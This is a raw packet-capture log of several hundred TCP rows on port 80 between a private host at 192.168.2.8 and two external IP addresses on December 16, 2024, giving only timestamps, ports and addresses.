Dec 16, 2024 17:02:28.374563932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.374574900 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.374576092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.374613047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.375147104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.375199080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.375303030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.375320911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.375364065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.375714064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.375761986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.375998974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.376283884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.376296043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.376308918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.376323938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.376336098 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.376729012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.376780033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.377302885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.377396107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.377407074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.377412081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.377449036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.377599001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.377638102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.377895117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.377943993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.378024101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.378036022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.378076077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.378375053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.378803968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.378848076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.379019022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.379029989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.379059076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.379086018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.379448891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.379822969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.379867077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.379966974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.379977942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.380038023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.380453110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.380496025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.380810022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.381004095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.381015062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.381043911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.381071091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.381300926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.381705046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.381736040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.381777048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.381875038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.381886959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.381912947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.381927967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.382289886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.382342100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.382739067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.382791996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.382838011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.382848978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.382880926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.382891893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.383183956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.383236885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.383600950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.383744001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.383755922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.383790016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.383816957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.384167910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.384370089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.384639025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.384676933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.384778023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.384789944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.384835005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.385171890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.385274887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.385642052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.385687113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.385765076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.385782003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.385813951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.385827065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.386123896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.386172056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.386454105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.386499882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.386636019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.386646986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.386697054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.386698008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.386910915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.387304068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.387348890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.387434959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.387447119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.387478113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.387506008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.387687922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.388046026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.388091087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.388160944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.388174057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.388202906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.388230085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.388556004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.388838053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.388853073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.388894081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.388978004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.388988972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.389018059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.389029980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.389410019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.389506102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.389714956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.389764071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.389831066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.389842033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.389878988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.390111923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.390165091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.390619993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.390667915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.390749931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.390762091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.390805006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.391094923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.391174078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.391427040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.391472101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.391556025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.391567945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.391606092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.391973972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.392101049 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.392222881 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.392275095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.392275095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.392318010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.392395020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.392410040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.392448902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.392836094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.392973900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.392990112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.393003941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.393042088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.393536091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.393948078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.394009113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.394160986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.394171953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.394212008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.394242048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.394601107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.394948959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.394999027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.395189047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.395200968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.395237923 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.395267010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.395682096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.396112919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.396163940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.396198034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.396208048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.396241903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.396614075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.396662951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.402271032 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.402384043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.402443886 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.406780005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.406817913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.406877041 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.474081039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.474164963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.474235058 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.478390932 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.478552103 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.478600979 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.486449957 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.489614010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.489814997 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.489870071 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.498279095 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.498394012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.498445034 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.506798029 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.506879091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.507080078 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.514971972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.515024900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.515080929 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.523463011 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.523555040 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.523611069 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.533096075 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.533170938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.533214092 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.540848970 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.541100979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.541156054 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.548953056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.549027920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.549077034 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.565552950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.565733910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.565747023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.565788984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.565829039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.566263914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.566310883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.566482067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.566494942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.566531897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.566827059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.566839933 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.566888094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.567260027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.567303896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.567436934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.567447901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.567478895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.567492962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.567732096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.567909956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.567961931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.568156958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.568167925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.568201065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.568504095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.568555117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.568825006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.569024086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.569035053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.569070101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.569082975 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.569700003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.570425987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.570453882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.570497036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.570790052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.570801973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.570842981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.571440935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.571485996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.572196007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.572241068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.572407961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.572421074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.572455883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.572689056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.572732925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.573154926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.573199034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.573308945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.573321104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.573355913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.573697090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.573739052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.574100018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.574150085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.574237108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.574249983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.574282885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.574678898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.574726105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.575001001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.575046062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.575145006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.575156927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.575193882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.575546980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.575597048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.576064110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.576162100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.576236010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.576247931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.576280117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.576620102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.576663971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.577013969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.577060938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.577193022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.577204943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.577241898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.577488899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.577542067 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.577841997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.577886105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.577943087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.577955008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.577996969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.578259945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.578308105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.578609943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.578656912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.578751087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.578763008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.578797102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.579072952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.579119921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.579442978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.579485893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.579530954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.579541922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.579579115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.580039978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.580089092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.580327988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.580424070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.580430031 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.580435991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.580473900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.580657959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.580703974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.580889940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.580935001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.581073046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.581084967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.581121922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.581397057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.581444025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.581753969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.581799030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.581897974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.581911087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.581945896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.581969023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.582335949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.582381010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.582690954 CET	80	49712	31.41.244.11	192.168.2.8
